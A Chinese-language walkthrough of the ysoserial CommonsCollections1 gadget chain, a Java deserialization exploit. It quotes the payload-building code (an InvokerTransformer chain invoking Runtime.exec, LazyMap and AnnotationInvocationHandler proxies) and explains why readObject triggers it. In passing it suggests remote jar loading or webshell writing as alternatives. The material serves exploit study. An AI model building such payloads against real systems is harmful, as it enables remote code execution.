前言
YSOSERIAL = Y SO SERIAL? 爲什麼這麼序列化?
其它沒啥好說的,自己再看一遍,慢慢的往裏面填肉。
CommonsCollections1
喜聞樂見的CommonsCollections1,最初的利用鏈
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
沒啥好說的,要執行的命令↑
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
爲了防止在decorate的時候就執行命令,先弄個事業不幹的Transformer↑
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
構造使用InvokerTransformer執行命令的TransfomerChain↑
核心代碼如下,熟悉Java的同學看到Invoke應該會比較興奮,不熟悉的麼。。。去熟悉熟悉┓( ´∀` )┏
最後實際上使用ContantTransfomer和InvokerTransfomer構造瞭如下的反射執行鏈:
Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0]).exec("clac.exe")
所以只要有別的能寫成一句話可以改別的,比如遠程加載jar文件(URLClassLoader)、寫shell(FileOutputStream\FileWriter)什麼的~
能執行命令的話其實也可以結合shell腳本、windows批處理達到無反彈getshell,不過後來有了RMI這種方式還是推薦用RMI的。
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
建立一個空map,然後用上面創建的假transformerChain先裝飾上。
題外話:
最早的文章中使用的是TransformedMap,對其任意entry進行setValue操作時,會觸發transformer。
AbstractInputCheckedMapDecorator$MapEntry(對TransformedMap的Entry進行setValue會做到這)中的代碼:
而後調用了TransformedMap的checkSetValue,執行了transform操作。
這部分的利用調用在AnnotationInvocationHandler中有體現。
題外話結束:
而這裏是使用LazyMap,lazyMap在調用get函數時如果key不存在會觸發transformer。
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
這裏使用AnnotationInvocationHandler是由於其成員memberValues爲Map,而lazyMap和transformedMap都實現了Map接口,並且後面readObject調用中會觸發上面所說的setValue與get函數。
有關動態代理的部分推薦一篇文章:《Java動態代理-實戰》
這裏只說一句與漏洞利用有關的:在通過Proxy進行被代理的接口調用時,實際上會通過構造時所給InvocationHandler的invoker函數進行執行。
createMemoitizedProxy創建了一個代理Map.class,InvocationHandler爲(memberValues設置爲上面所構造LazyMap的AnnotationInvocationHandler)的Proxy。
接下來createMemoizedInvocationHandler函數創建了一個memberValues爲上面Proxy的AnnotationInvocationHandler。
而後在第一層AnnotationInvocationHandler的readObject的過程中,觸發了:
this.memberValues.entrySet()
實際上這層的memberValues爲Proxy,會調用第二層AnnotationInvocationHandler的inovke函數:
可以看到由於entrySet不等於上面幾個常量(equals\toString\hashCode\annotationType),所以會對memberValues進行get操作,而由於此時的memberValues爲上面構造的空lazyMap,所以key不存在,如上面所說,觸發了transformers!!
題外話:
TransformedMap的利用成因具體參考《Lib之過?Java反序列化漏洞通用利用分析》這篇文章的解析,此處直說一句:在AnnotationInvocationHandler的readObject函數尾部會遍歷的對memberValues中的Entry執行setValue操作,滿足了觸發條件。
最後:
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
把iTransformers設置成利用鏈↑
到此CommonsCollections1利用鏈構造完成